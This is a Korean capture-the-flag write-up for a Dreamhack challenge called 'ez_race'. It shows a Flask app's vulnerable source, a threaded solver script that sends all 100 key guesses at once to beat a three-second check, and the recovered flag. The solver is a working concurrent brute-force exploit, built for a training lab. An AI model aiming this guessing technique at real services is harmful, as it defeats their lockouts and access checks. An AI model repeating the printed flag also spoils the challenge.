오늘 풀어볼 문제는 ez_race이다.
from flask import Flask, request
import random
import time
app = Flask(__name__)
FLAG = "4TH3N3{**redacted**}"
getflag = 0
key = random.randint(1, 100)
@app.route('/')
def home():
return "3초 안에 키를 찾을 수 있나요?"
@app.route('/race')
def race():
global getflag, key
user_input_str = request.args.get('user')
if user_input_str is None:
return "Please use user parameter"
try:
userinput = int(user_input_str)
except ValueError:
return "ERROR"
if userinput == key:
getflag = 1
return "WOW"
else:
time.sleep(3)
key = random.randint(1, 100)
return "NOPE"
@app.route('/flag')
def flag():
global getflag
if getflag == 1:
getflag = 0
return f"FLAG IS {FLAG}"
else:
return "NOPE!!"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, threaded=True)
코드는 위와 같다.
/race에 3초안에 키값을 모두 요청하게 되면, getflag를 1로 설정하여 flag값에 접근할 수 있게 되는 코드이다.
힌트는 마지막 __main에 있다. threaded=True로 하여 병렬 처리가 가능한 것이다.
즉 파이썬으로 3초안에 요청을 모두 보내는 동시요청 코드를 작성하면 될 것이다.
import requests
import concurrent.futures
import time
URL = "http://host8.dreamhack.games:17272/race" # 실제 서버 주소로 바꾸세요
def try_key(i):
try:
res = requests.get(URL, params={'user': i}, timeout=3)
if res.text.strip() == "WOW":
return i
except requests.exceptions.RequestException:
pass
return None
start = time.time()
with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:
futures = [executor.submit(try_key, i) for i in range(1, 101)]
for future in concurrent.futures.as_completed(futures):
result = future.result()
if result is not None:
print(f"[✔] Found key: {result}")
# 플래그 요청
flag_res = requests.get("http://host8.dreamhack.games:17272/flag")
print(flag_res.text)
break
print(f"완료 시간: {time.time() - start:.2f}초")
작성한 코드는 위와 같다.
✅ 목표
1~100 중 key 값을 병렬로 빠르게 찾아내고, /flag로 플래그 받기
concurrent.futures: 병렬 실행을 위한 표준 라이브러리
time: 실행 시간 측정을 위해 사용
chatgpt의 도움을 받은 코드이다.
병렬로 /race 엔드포인트에 키값을 모두 보내고, wow라는 대답이 반환되면 getflag가 설정되었으므로 /flag에 요청을 보낸다.

이렇게 FLAG를 찾을 수 있다.
4TH3N3{you_so_fast!!!ZnVqaXRha290b25l}